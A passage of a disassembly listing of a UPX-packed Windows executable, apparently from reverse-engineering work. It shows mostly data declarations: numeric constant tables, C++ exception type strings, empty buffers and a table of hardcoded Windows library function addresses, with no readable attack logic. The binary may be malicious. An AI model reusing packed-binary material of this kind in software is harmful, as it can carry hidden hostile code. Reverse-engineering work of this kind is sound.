3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_4392FC dd offset off_423CC8 ; DATA XREF: UPX0:00423EA4o ; UPX0:00423F90o dd 0 a_?avexception@ db '.?AVexception@@',0 off_439314 dd offset off_423CC8 ; DATA XREF: UPX0:off_423D58o ; UPX0:00423D98o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_439334 dd offset off_423CC8 ; DATA XREF: UPX0:off_423DA0o ; UPX0:00423DE4o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_439354 dd offset off_423CC8 ; DATA XREF: UPX0:off_423DECo ; UPX0:00423E30o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_439378 dd offset off_423CC8 ; DATA XREF: UPX0:off_423E38o ; UPX0:00423E74o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 8 byte_439398 db 0 ; DATA XREF: sub_401447+1D3w ; sub_401447+2D2o align 2 word_43939A dw 0 ; DATA XREF: sub_401447+1E3w word_43939C dw 0 ; DATA XREF: sub_401447+1E9w word_43939E dw 0 ; DATA XREF: sub_401447+1F0w byte_4393A0 db 0 ; DATA XREF: sub_401447+1F7w byte_4393A1 db 0 ; DATA XREF: sub_401447+1FEw word_4393A2 dw 0 ; DATA XREF: sub_401447+204w dword_4393A4 dd 0 ; DATA XREF: sub_401447+234w ; sub_401447+250w dword_4393A8 dd 0 ; DATA XREF: sub_401447+258w byte_4393AC db 0 ; DATA XREF: sub_401447+26Aw byte_4393AD db 0 ; DATA XREF: sub_401447+27Dw word_4393AE dw 0 ; DATA XREF: sub_401447+295w word_4393B0 dw 0 ; DATA XREF: sub_401447+2A4w word_4393B2 dw 0 ; DATA XREF: sub_401447+29Cw dword_4393B4 dd 101h dup(0) ; DATA XREF: sub_401447+2B9o dword_4397B8 dd 0 ; DATA XREF: sub_4029E0+9Eo ; char byte_4397BC byte_4397BC db 0 ; DATA XREF: sub_4029E0+36r ; sub_402AC3+37r ... align 10h dword_4397C0 dd 7A5h ; DATA XREF: UPX0:004030D8w ; sub_4030DF+30r ... dd 2 dup(0) dword_4397CC dd 2 dup(0) ; DATA XREF: sub_403EB1+68o ; char byte_4397D4[] byte_4397D4 db 4 dup(0) ; DATA XREF: sub_403951+13o ; sub_40EE51+6123o ... dword_4397D8 dd 2080Ah ; DATA XREF: sub_404854+8w ; sub_404950+2D3o align 10h dword_4397E0 dd 2 dup(0) ; DATA XREF: sub_404950+209o dword_4397E8 dd 0 ; DATA XREF: sub_4059D9+2Aw ; sub_4059D9+51r ... dword_4397EC dd 0 ; DATA XREF: sub_4030DF+AEr ; UPX0:004042CBr ... dd 2 dup(0) dword_4397F8 dd 0 ; DATA XREF: sub_4071CC+18r ; sub_40761F+92w ... dword_4397FC dd 0 ; DATA XREF: sub_407758+4Dr ; sub_40796C+D9w ... dd 3E6h dup(0) dword_43A798 dd 6 dup(0) ; DATA XREF: sub_407758+CFo ; sub_407758+138o ... dword_43A7B0 dd 0 ; DATA XREF: sub_407243+82w ; sub_407243+102o dword_43A7B4 dd 41h dup(0) ; DATA XREF: sub_407243+41o ; char byte_43A8B8[] byte_43A8B8 db 104h dup(0) ; DATA XREF: sub_407243+63o dword_43A9BC dd 0 ; DATA XREF: sub_407243+F8w ; sub_407243+114r dword_43A9C0 dd 0 ; DATA XREF: sub_407243+52w dword_43A9C4 dd 0 ; DATA XREF: sub_407243+4Dw ; sub_407243+CFr ; char byte_43A9C8[] byte_43A9C8 db 80h dup(0) ; DATA XREF: sub_407243+9Ao ; sub_407243+BAo dword_43AA48 dd 0 ; DATA XREF: sub_407243+8Fw dword_43AA4C dd 0 ; DATA XREF: sub_407243+A7w ; sub_407243+C7w dword_43AA50 dd 0 ; DATA XREF: sub_407243:loc_40736Dr align 8 dword_43AA58 dd 0 ; DATA XREF: sub_407243+2D5w ; sub_407243+32Eo ; char Dest[] Dest db 288h dup(0) ; DATA XREF: sub_407243+2C3o ; char byte_43ACE4[] byte_43ACE4 db 104h dup(0) ; DATA XREF: sub_407243+28Do dword_43ADE8 dd 0 ; DATA XREF: sub_407243+2BAw ; sub_407243+2E1r align 10h dword_43ADF0 dd 0 ; DATA XREF: sub_407243+324w ; sub_407243+340r dword_43ADF4 dd 0 ; DATA XREF: sub_407243+2E7w dword_43ADF8 dd 0 ; DATA XREF: sub_407243+2F4w dword_43ADFC dd 0 ; DATA XREF: sub_407243+2B4w dd 0 dword_43AE04 dd 0 ; DATA XREF: sub_407243:loc_407599r dword_43AE08 dd 0 ; DATA XREF: sub_407243+1A1w ; sub_407243+221o dword_43AE0C dd 41h dup(0) ; DATA XREF: sub_407243+163o ; char byte_43AF10[] byte_43AF10 db 104h dup(0) ; DATA XREF: sub_407243+182o dword_43B014 dd 0 ; DATA XREF: sub_407243+217w ; sub_407243+233r dword_43B018 dd 0 ; DATA XREF: sub_407243+171w dword_43B01C dd 0 ; DATA XREF: sub_407243+1EEr ; char byte_43B020[] byte_43B020 db 80h dup(0) ; DATA XREF: sub_407243+1B9o ; sub_407243+1D9o dword_43B0A0 dd 0 ; DATA XREF: sub_407243+1AEw dword_43B0A4 dd 0 ; DATA XREF: sub_407243+1C6w ; sub_407243+1E6w dword_43B0A8 dd 0 ; DATA XREF: sub_407243:loc_40748Dr align 10h dword_43B0B0 dd 0 ; DATA XREF: sub_4087DB+Fr ; sub_4089D4+12r align 8 ; char byte_43B0B8[] byte_43B0B8 db 200h dup(0) ; DATA XREF: sub_409701+41o ; wchar_t word_43B2B8 word_43B2B8 dw 0 ; DATA XREF: sub_409032+C7o ; sub_40938D+DDo ... align 4 dd 1FFh dup(0) ; wchar_t word_43BAB8 word_43BAB8 dw 0 ; DATA XREF: sub_409032+D6o ; sub_40938D+F4o ... align 4 dd 1FFh dup(0) dword_43C2B8 dd 0 ; DATA XREF: sub_409032+86w ; sub_409204+94r dword_43C2BC dd 0 ; DATA XREF: sub_409032+A7w ; sub_40966A+55r ... dword_43C2C0 dd 0 ; DATA XREF: sub_409032+A0w ; sub_409204+D6r ... dword_43C2C4 dd 0 ; DATA XREF: sub_409032+79w ; sub_409204+35r ... ; char byte_43C2C8[] byte_43C2C8 db 200h dup(0) ; DATA XREF: sub_40966A+5Eo dword_43C4C8 dd 0 ; DATA XREF: sub_409032+93w ; sub_409204+A2r align 10h dword_43C4D0 dd 0 ; DATA XREF: sub_409032+E7o ; sub_409032+103r ... dword_43C4D4 dd 0 ; DATA XREF: sub_40938D+17Bw ; sub_409534+107w ; void *Src Src dd 0 ; DATA XREF: sub_40938D+180w ; sub_409534+10Dw ... dword_43C4DC dd 0 ; DATA XREF: sub_40938D+159w ; sub_40966A+4Fr dword_43C4E0 dd 77C72C6Bh ; DATA XREF: sub_4085A0+210r ; sub_4085A0+21Ar ... dword_43C4E4 dd 77EBA994h ; DATA XREF: sub_40981A+65w ; sub_415179+F5r dword_43C4E8 dd 7622A3F4h ; DATA XREF: sub_40981A+7EDw ; sub_40981A+862r ... dword_43C4EC dd 71C45229h ; DATA XREF: sub_40981A+9BAw ; sub_40981A+A18r ... dword_43C4F0 dd 71C24870h ; DATA XREF: sub_40981A+96Cw ; sub_40981A+9E8r ... dword_43C4F4 dd 77C71BB0h ; DATA XREF: sub_4085A0+D1r ; sub_40981A+46Fw ... dword_43C4F8 dd 77D4808Bh ; DATA XREF: sub_40239E+ECr ; sub_40239E+109r ... dword_43C4FC dd 71C4502Ch ; DATA XREF: sub_40981A+9ADw ; sub_40981A+A10r ... dword_43C500 dd 77DE801Bh ; DATA XREF: sub_40981A+354w ; sub_40981A+3A9r ... dword_43C504 dd 77DDACABh ; DATA XREF: sub_40981A+3F1w ; sub_40B8D3+11Er dword_43C508 dd 77DE8075h ; DATA XREF: sub_40981A+361w ; sub_40981A+3B1r ... dword_43C50C dd 77DD7496h ; DATA XREF: sub_40981A+3A2w ; sub_40DCE4+ADr dword_43C510 dd 71AB1B7Bh ; DATA XREF: sub_405AF0+115r ; sub_4084A0+7Dr ... dword_43C514 dd 77E686CCh ; DATA XREF: sub_40981A+72w ; sub_40981A+D2r ... dword_43C518 dd 71C2498Bh ; DATA XREF: sub_40981A+95Fw ; sub_40981A+9DBr ... dword_43C51C dd 77DDAB2Fh ; DATA XREF: sub_40981A+388w ; sub_40981A+3C9r ... dword_43C520 dd 7620E8C3h ; DATA XREF: sub_40981A+83Bw ; sub_40981A+88Er ... dword_43C524 dd 77DD23D7h ; DATA XREF: sub_408C13+58r ; sub_40981A+2A5w ... dword_43C528 dd 76214750h ; DATA XREF: sub_40981A+82Ew ; sub_40981A+886r ... dword_43C52C dd 77E6D75Bh ; DATA XREF: sub_40981A+B3w dword_43C530 dd 7620BD61h ; DATA XREF: sub_40981A+848w ; sub_40981A+896r ... dword_43C534 dd 71AB60C9h ; DATA XREF: sub_407BCB+7Er ; sub_40981A+52Fw ... dword_43C538 dd 77EBA6E9h ; DATA XREF: sub_40981A+58w ; sub_40981A+CAr ... dword_43C53C dd 76D62A58h ; DATA XREF: sub_40981A+916w ; sub_40AF81+11Ar dword_43C540 dd 76F36EAAh ; DATA XREF: sub_40981A+A66w ; sub_40981A+A6Dr ... dword_43C544 dd 77E802FCh ; DATA XREF: sub_40981A+A6w ; sub_40981A+F2r dword_43C548 dd 77C75455h ; DATA XREF: sub_4085A0+119r ; sub_40981A+462w ... dword_43C54C dd 71AB12A7h ; DATA XREF: sub_4075D7+20r ; sub_40981A+5D8w ... dword_43C550 dd 71C574FAh ; DATA XREF: sub_40981A+9A0w ; sub_40981A+A08r dword_43C554 dd 71AB1746h ; DATA XREF: sub_40267F+280r ; sub_40981A+5CBw ... dword_43C558 dd 71B28D0Dh ; DATA XREF: sub_402AC3+9Ar ; sub_40981A+B21w dword_43C55C dd 762211EFh ; DATA XREF: sub_40981A+7E0w ; sub_40981A+84Fr ... dword_43C560 dd 77D902E3h ; DATA XREF: sub_40981A+1B3w ; sub_40AC1B+15r dword_43C564 dd 71C2FA86h ; DATA XREF: sub_40981A+979w ; sub_40981A+9F0r ... dword_43C568 dd 77DE1291h ; DATA XREF: sub_40981A+36Ew ; sub_40981A+3B9r ... dword_43C56C dd 77E2C1B3h ; DATA XREF: sub_40981A+37Bw ; sub_40981A+3C1r ... dword_43C570 dd 73B81E3Bh ; DATA XREF: sub_4087DB+28r ; sub_4089D4+2Br ... dword_43C574 dd 71ABF628h ; DATA XREF: sub_40981A+68Ew ; sub_41546F+D0r dword_43C578 dd 71AB1836h ; DATA XREF: sub_4010B2:loc_4013DDr ; sub_401A6D:loc_401D13r ... dword_43C57C dd 77C72889h ; DATA XREF: sub_4085A0+207r ; sub_40981A+496w dword_43C580 dd 71C453F8h ; DATA XREF: sub_40981A+9C7w ; sub_40981A+A20r ... dword_43C584 dd 77DD5C55h ; DATA XREF: sub_40981A+2B2w ; sub_40981A+2DEr ... dword_43C588 dd 77E96645h ; DATA XREF: sub_40981A+7Fw ; sub_40981A+DAr ... dword_43C58C dd 77428B97h ; DATA XREF: sub_40981A+B6Ew ; sub_40981A+B75r ... dword_43C590 dd 71AB41DAh ; DATA XREF: sub_4010B2+2Fr ; sub_401A6D+2Fr ... dword_43C594 dd 762059A3h ; DATA XREF: sub_40981A+807w ; sub_40981A+872r ... dword_43C598 dd 71C4A1B4h ; DATA XREF: sub_40981A+986w ; sub_40981A+9F8r dword_43C59C dd 1F7CD214h ; DATA XREF: sub_40981A+BDFw ; sub_40981A+C10r dword_43C5A0 dd 77D4456Bh ; DATA XREF: sub_40239E+40r ; sub_40239E+63r ... dword_43C5A4 dd 76D629BBh ; DATA XREF: sub_40981A+8FCw ; sub_40981A+910r ... dword_43C5A8 dd 1F7B9D96h ; DATA XREF: sub_40981A+BF9w dword_43C5AC dd 71AB1740h ; DATA XREF: sub_4010B2:loc_4013A7r ; sub_401447+3Cr ... dword_43C5B0 dd 7620AFB6h ; DATA XREF: sub_40981A+821w ; sub_40981A+855r dword_43C5B4 dd 0AA8BE8h ; DATA XREF: sub_40239E+50r ; sub_40239E+78r ... dword_43C5B8 dd 77D45B19h ; DATA XREF: sub_4087DB+3Fr ; sub_4087DB+69r ... dword_43C5BC dd 71AB157Eh ; DATA XREF: sub_40981A+65Aw ; sub_40981A+786r ... dword_43C5C0 dd 71AB3E5Dh ; DATA XREF: sub_402DCE+20Ar ; sub_4030DF+5Er ... dword_43C5C4 dd 71AB14DCh ; DATA XREF: sub_40267F+16Er ; sub_40981A+549w ... dword_43C5C8 dd 0CC0004h ; DATA XREF: sub_40981A+8BDw ; sub_40981A:loc_40A0F5w ... dword_43C5CC dd 0AA8CC0h ; DATA XREF: sub_40981A+28Bw ; sub_40981A+2C6r ... dword_43C5D0 dd 71ABD755h ; DATA XREF: sub_407D53+98r ; sub_40981A+681w ... dword_43C5D4 dd 77DF7311h ; DATA XREF: sub_40981A+30Fw ; sub_40981A+323r ... dword_43C5D8 dd 77DDA2AFh ; DATA XREF: sub_40981A+395w ; sub_40981A+3D1r ... dword_43C5DC dd 1F7CD927h ; DATA XREF: sub_40981A+BD2w ; sub_40981A+C08r dword_43C5E0 dd 76206853h ; DATA XREF: sub_40981A+7FAw ; sub_40981A+86Ar ... dword_43C5E4 dd 77D4932Ch ; DATA XREF: sub_40239E+FCr ; sub_40981A+206w ... dword_43C5E8 dd 77D5E310h ; DATA XREF: sub_40981A+18Cw ; sub_40981A+1D2r ... dword_43C5EC dd 76206B7Fh ; DATA XREF: sub_40981A+814w ; sub_40981A+87Ar ... dword_43C5F0 dd 71AB1444h ; DATA XREF: sub_406C0B+244r ; sub_40981A+606w ... dword_43C5F4 dd 77DD189Ah ; DATA XREF: sub_408C13+19Br ; sub_40981A+2BFw ... dword_43C5F8 dd 71AB3F8Dh ; DATA XREF: sub_4010B2+6Fr ; sub_401447+AAr ... dword_43C5FC dd 77DD5D20h ; DATA XREF: sub_40981A+302w ; sub_40981A+316r ... dword_43C600 dd 71AB1890h ; DATA XREF: sub_405AF0+F9r ; sub_406C0B+1FCr ... dword_43C604 dd 77C76B34h ; DATA XREF: sub_4085A0+16r ; sub_40981A+42Ew ... dword_43C608 dd 77D5E38Ch ; DATA XREF: sub_40981A+199w ; sub_40981A+1DAr ... dword_43C60C dd 77DDA20Bh ; DATA XREF: sub_40981A+347w ; sub_40981A+39Cr ... dword_43C610 dd 76F36EEBh ; DATA XREF: sub_40981A+A73w dword_43C614 dd 71AB12A7h ; DATA XREF: sub_4010B2+EBr ; sub_4010B2+1F9r ... dword_43C618 dd 71AB1746h ; DATA XREF: sub_4010B2+87r ; sub_4010B2+9Dr ... dword_43C61C dd 77EBA595h ; DATA XREF: sub_40981A+4Bw ; sub_40981A+C2r ... dword_43C620 dd 77C7531Dh ; DATA XREF: sub_4085A0+2Cr ; sub_4085A0+38r ... dword_43C624 dd 77D4BDCAh ; DATA XREF: sub_40981A+165w ; sub_40981A+1BAr ... dword_43C628 dd 71C3516Ah ; DATA XREF: sub_40981A+9E1w ; sub_40E5CD+72r dword_43C62C dd 71AB32CAh ; DATA XREF: sub_40981A+667w ; sub_40981A+78Er dword_43C630 dd 71AB5690h ; DATA XREF: sub_40267F+205r ; sub_402DCE+23Br ... dword_43C634 dd 1F7CB8F8h ; DATA XREF: sub_40981A+BECw ; sub_40981A+C18r dword_43C638 dd 77EBB1E7h ; DATA XREF: sub_40981A+3Ew ; sub_40981A+BAr ... dword_43C63C dd 77DD59F0h ; DATA XREF: sub_40981A+298w ; sub_40981A+2CEr ... dword_43C640 dd 71AB5DE2h ; DATA XREF: sub_405AF0+9Er ; sub_407BCB+9Cr ... dword_43C644 dd 71AB3ECEh ; DATA XREF: sub_40267F+EBr ; sub_405AF0+89r ... dword_43C648 dd 73B81B0Fh ; DATA XREF: sub_40981A+C63w ; sub_40EE51+4626r dword_43C64C dd 76204E4Dh ; DATA XREF: sub_40981A+85Bw ; sub_40BC4D+205r ... dword_43C650 dd 0 ; DATA XREF: sub_40981A+112w dword_43C654 dd 1F7D886Ah ; DATA XREF: sub_40981A+BB8w ; sub_40981A+BF3r dword_43C658 dd 71AB12F8h ; DATA XREF: sub_401447+119r ; sub_401447+1A0r ... dword_43C65C dd 77C76551h ; DATA XREF: sub_4085A0+BCr ; sub_40981A+43Bw ... dword_43C660 dd 77C729E2h ; DATA XREF: sub_4085A0+FBr ; sub_40981A+47Cw ... dword_43C664 dd 77C7212Fh ; DATA XREF: sub_4085A0+65r ; sub_40981A+448w ... dword_43C668 dd 71AB1AF4h ; DATA XREF: sub_402DCE+221r ; sub_402DCE+249r ... dword_43C66C dd 77D5E303h ; DATA XREF: sub_40981A+1A6w ; sub_40981A+1E2r ... dword_43C670 dd 71C4576Ch ; DATA XREF: sub_40981A+9D4w ; sub_40981A+A28r ... dword_43C674 dd 77D4702Fh ; DATA XREF: sub_4087DB+53r ; sub_4087DB+7Fr ... dword_43C678 dd 77E6C0E3h ; DATA XREF: sub_40981A+8Cw ; sub_40981A+E2r ... dword_43C67C dd 71AB1ED3h ; DATA XREF: sub_4010B2+2C2r ; sub_401447+2DAr ... dword_43C680 dd 71B2A381h ; DATA XREF: sub_40981A+B14w ; sub_40981A+B30r dword_43C684 dd 77DDA595h ; DATA XREF: sub_40981A+31Cw ; sub_41510E+55r dword_43C688 dd 77DD22EAh ; DATA XREF: sub_408C13+3Fr ; sub_40981A+27Ew ... dword_43C68C dd 773F97B0h ; DATA XREF: sub_40981A+B7Bw dword_43C690 dd 76D67A29h ; DATA XREF: sub_40981A+ABDw ; sub_40ADFD+CEr dword_43C694 dd 76D674FAh ; DATA XREF: sub_40981A+AB0w ; sub_40981A+AB7r ... dword_43C698 dd 71AB3C22h ; DATA XREF: sub_401447+2Er ; sub_401D79+55r ... dword_43C69C dd 71AB2BBFh ; DATA XREF: sub_407D53+88r ; sub_40981A+674w ... dword_43C6A0 dd 1F7BA3A9h ; DATA XREF: sub_40981A+BC5w ; sub_40981A+C00r dword_43C6A4 dd 71AB401Ch ; DATA XREF: sub_40267F+28Dr ; sub_406C0B+250r ... dword_43C6A8 dd 71C214BAh ; DATA XREF: sub_40981A+993w ; sub_40981A+A00r ... dword_43C6AC dd 71AB868Dh ; DATA XREF: sub_405AF0+13Ar ; sub_407BCB+B3r ... dword_43C6B0 dd 71AB1A6Dh ; DATA XREF: sub_4010B2+324r ; sub_401447+2F0r ... dword_43C6B4 dd 71AB155Ah ; DATA XREF: sub_405AF0+B7r ; sub_405AF0+39Fr ... dword_43C6B8 dd 71B22C25h ; DATA XREF: sub_4029E0+B0r ; sub_4029E0+C8r ... dword_43C6BC dd 71AB5A01h ; DATA XREF: sub_4010B2+4Fr ; sub_401A6D+4Fr ... dword_43C6C0 dd 71B2ACCBh ; DATA XREF: sub_40981A+AFAw ; sub_40981A+B1Br dword_43C6C4 dd 77E78C17h ; DATA XREF: sub_40981A+31w ; sub_40981A+ADr ... dword_43C6C8 dd 77D49A11h ; DATA XREF: sub_4087DB+1ECr ; sub_4089D4+232r ... align 10h dword_43C6D0 dd 76D62A37h ; DATA XREF: sub_40981A+909w ; sub_40981A+91Dr ... dword_43C6D4 dd 77E6CBF9h ; DATA XREF: sub_40981A+99w ; sub_40981A+EAr ... dword_43C6D8 dd 0 ; DATA XREF: sub_40981A:loc_409918w ; sub_40981A+12Bw ... dword_43C6DC dd 0 ; DATA XREF: sub_40981A+126w ; sub_40A4A7+1Cr dword_43C6E0 dd 0 ; DATA XREF: sub_40981A:loc_409A08w ; sub_40981A:loc_409A6Fw ... dword_43C6E4 dd 0 ; DATA XREF: sub_40981A+250w ; sub_40A4A7+50r dword_43C6E8 dd 0 ; DATA XREF: sub_40981A:loc_409B04w ; sub_40981A:loc_409B49w ... dword_43C6EC dd 0 ; DATA XREF: sub_40981A+400w ; sub_40A4A7+84r dword_43C6F0 dd 0 ; DATA XREF: sub_40981A:loc_409D00w ; sub_40A4A7:loc_40A557r dword_43C6F4 dd 0 ; DATA XREF: sub_40981A+4E1w ; sub_40A4A7+B8r dword_43C6F8 dd 0 ; DATA XREF: sub_40981A:loc_409FD1w ; sub_40A4A7:loc_40A58Br dword_43C6FC dd 0 ; DATA XREF: sub_40981A+7B2w ; sub_40A4A7+ECr dword_43C700 dd 0 ; DATA XREF: sub_40981A:loc_40A0BCw ; sub_40981A+8D1w ... dword_43C704 dd 0 ; DATA XREF: sub_40981A+8CCw ; sub_40A4A7+120r dword_43C708 dd 0 ; DATA XREF: sub_40981A:loc_40A150w ; sub_40A4A7:loc_40A5F3r ... dword_43C70C dd 0 ; DATA XREF: sub_40981A+931w ; sub_40A4A7+154r dword_43C710 dd 0 ; DATA XREF: sub_40981A:loc_40A25Bw ; sub_40A4A7:loc_40A627r ... dword_43C714 dd 0 ; DATA XREF: sub_40981A+A3Cw ; sub_40A4A7+188r dword_43C718 dd 0 ; DATA XREF: sub_40981A:loc_40A2A5w ; sub_40A4A7:loc_40A65Br dword_43C71C dd 0 ; DATA XREF: sub_40981A+A86w ; sub_40A4A7+1BCr dword_43C720 dd 0 ; DATA XREF: sub_40981A:loc_40A2EFw ; sub_40A4A7:loc_40A68Fr dword_43C724 dd 0 ; DATA XREF: sub_40981A+AD0w ; sub_40A4A7+1F0r dword_43C728 dd 0 ; DATA XREF: sub_40981A:loc_40A363w ; sub_40A4A7:loc_40A6C3r dword_43C72C dd 0 ; DATA XREF: sub_40981A+B44w ; sub_40A4A7+224r dword_43C730 dd 0 ; DATA XREF: sub_40981A:loc_40A3ADw ; sub_40A4A7:loc_40A6F7r dword_43C734 dd 0 ; DATA XREF: sub_40981A+B8Ew ; sub_40A4A7+258r dword_43C738 dd 0 ; DATA XREF: sub_40981A:loc_40A44Bw ; sub_40A4A7:loc_40A72Br dword_43C73C dd 0 ; DATA XREF: sub_40981A+C2Cw ; sub_40A4A7+28Cr dword_43C740 dd 0 ; DATA XREF: sub_40981A:loc_40A495w ; sub_40A4A7:loc_40A75Fr dword_43C744 dd 0 ; DATA XREF: sub_40981A+C76w ; sub_40A4A7+2C0r ; char byte_43C748[] byte_43C748 db 204h dup(0) ; DATA XREF: sub_40AA30+6Ao ; char byte_43C94C[] byte_43C94C db 14h dup(0) ; DATA XREF: sub_40AEDB+32o dword_43C960 dd 0 ; DATA XREF: sub_40B323:loc_40B344r ; sub_40B412+54r ... dword_43C964 dd 0 ; DATA XREF: sub_40B323r ; sub_40B412+37r ... dword_43C968 dd 0 ; DATA XREF: sub_40B353+1Ar ; sub_40B567+83o dword_43C96C dd 0 ; DATA XREF: sub_40B323:loc_40B337r ; sub_40B567+11Bw ; char byte_43C970[] byte_43C970 db 34h dup(0) ; DATA XREF: sub_40B412+13o ; sub_40B567:loc_40B6A4o ; int dword_43C9A4 dword_43C9A4 dd 0 ; DATA XREF: sub_40B412+CDr ; sub_40B412+ECr ... dd 0 ; char byte_43C9AC[] byte_43C9AC db 38h dup(0) ; DATA XREF: sub_40B71C+47o ; char byte_43C9E4[] byte_43C9E4 db 3660h dup(0) ; DATA XREF: sub_40BF6F+1Do ; sub_40C00Fo ... dword_440044 dd 268h dup(0) ; DATA XREF: .data:off_4ED374o ; char byte_4409E4[] byte_4409E4 db 4 dup(0) ; DATA XREF: sub_40BF6F+13o ; sub_40C00F+Eo ... dword_4409E8 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_440A20 dd 2 dup(0) ; DATA XREF: sub_40D39C+C8o ; char byte_440A28[] byte_440A28 db 5Ch dup(0) ; DATA XREF: sub_40D834:loc_40D951o ; sub_40D834+131o ... ; char byte_440A84[] byte_440A84 db 200h dup(0) ; DATA XREF: sub_40E5CD+7Co ; sub_40E5CD+A5o dword_440C84 dd 0 ; DATA XREF: sub_40DBAE+45w ; sub_40DBAE+4Dr ... ; char byte_440C88[] byte_440C88 db 5Ch dup(0) ; DATA XREF: sub_40E499:loc_40E5BBo ; sub_40E499+12Do ; char byte_440CE4[] byte_440CE4 db 200h dup(0) ; DATA XREF: sub_40DAEF+4Bo ; sub_40DAEF+7Do ... byte_440EE4 db 0 ; DATA XREF: sub_40DBAE+29r ; sub_40DBAE+34w align 4 ; char byte_440EE8[] byte_440EE8 db 200h dup(0) ; DATA XREF: sub_40DE05+61o ; sub_40DE05+88o ... ; char byte_4410E8[] byte_4410E8 db 208h dup(0) ; DATA XREF: sub_40D70B+33o ; sub_40D70B+50o ... ; char Str1[] Str1 dd 0 ; DATA XREF: sub_40BE77+Ao ; sub_40BE77+44r ... dd 5 dup(0) dword_441308 dd 0 ; DATA XREF: sub_40BE77+60r ; sub_40EE51+BC7r dd 2D9h dup(0) dword_441E70 dd 0 ; DATA XREF: sub_407758+A5r ; sub_40BE77+2Do ... dd 7Fh dup(0) dword_442070 dd 0 ; DATA XREF: sub_416D48+41w ; sub_416E83+40w ... dword_442074 dd 0 ; DATA XREF: sub_4060CD+234w ; sub_407758:loc_40779Fr ... dword_442078 dd 0 ; DATA XREF: sub_40B567+164w ; sub_4167FC+AEw ... dword_44207C dd 0 ; DATA XREF: sub_40267F+E0w ; sub_405AF0+7Ew ... dword_442080 dd 0 ; DATA XREF: sub_407D53+11Ew ; sub_407F3A+53r ... dword_442084 dd 0 ; DATA XREF: sub_4060CD+261w ; sub_407243+122w ... byte_442088 db 0 ; DATA XREF: sub_40EB71+91o ; sub_40EE51+3371r ... align 4 dd 0DB1h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: UPX0:off_4292D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: UPX0:0042BCA8o dd 8BECh dup(0) UPX0 ends ; Section 2. (virtual address 00073000) ; Virtual size : 00019000 ( 102400.) ; Section size in file : 00019000 ( 102400.) ; Offset to raw data for section: 00073000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 473000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_473000 dd 4F00h dup(0) ; DATA XREF: UPX1:0048B741o dword_486C00 dd 1Ah ; DATA XREF: sub_407102:loc_407170r ; sub_40E68B+3Aw ... align 8 dword_486C08 dd 0 ; DATA XREF: sub_40E68B:loc_40EA83o ; char byte_486C0C[] byte_486C0C db 80h dup(0) ; DATA XREF: sub_40E68B+390o ; sub_40E68B+449o ... ; char byte_486C8C[] byte_486C8C db 40h dup(0) ; DATA XREF: sub_40E68B+3A7o ; sub_40EE51+91Do ; char byte_486CCC[] byte_486CCC db 90h dup(0) ; DATA XREF: sub_40E68B+3BEo dword_486D5C dd 0 ; DATA XREF: sub_40E68B+3B2w ; sub_40E68B+460w ... dword_486D60 dd 0 ; DATA XREF: sub_40E68B+3D1w align 10h dword_486D70 dd 0 ; DATA XREF: sub_40E68B+13Ar ; int dword_486D74 dword_486D74 dd 0 ; DATA XREF: sub_40EB71+72r ; sub_40EE51+276r dd 0 byte_486D7C db 0 ; DATA XREF: sub_40ECD9+28r ; sub_40ECD9+30o align 10h dword_486D80 dd 0 ; DATA XREF: sub_40E68B+3FDw ; sub_40E68B+414r ... dword_486D84 dd 0 ; DATA XREF: sub_40E68B+395w ; sub_40EE51+8C1r align 10h dword_486D90 dd 0 ; DATA XREF: sub_41546F+146r align 8 ; char byte_486D98[] byte_486D98 db 68h dup(0) ; DATA XREF: sub_415D59+8Do dword_486E00 dd 0 ; DATA XREF: sub_416F90+16o ; sub_416FAF+19o dword_486E04 dd 66h dup(0) ; DATA XREF: sub_416F43+3Do byte_486F9C db 0 ; DATA XREF: sub_416C41+6Ar ; sub_416C41+98w align 10h dd 2 dup(0) dword_486FA8 dd 0 ; DATA XREF: __fpmath+Aw align 10h dword_486FB0 dd 0 ; DATA XREF: _time+5Er _time+A4w align 8 word_486FB8 dw 0 ; DATA XREF: _time+55r _time+9Ao word_486FBA dw 0 ; DATA XREF: _time+48r db 2 dup(0) word_486FBE dw 0 ; DATA XREF: _time+3Br word_486FC0 dw 0 ; DATA XREF: _time+2Er word_486FC2 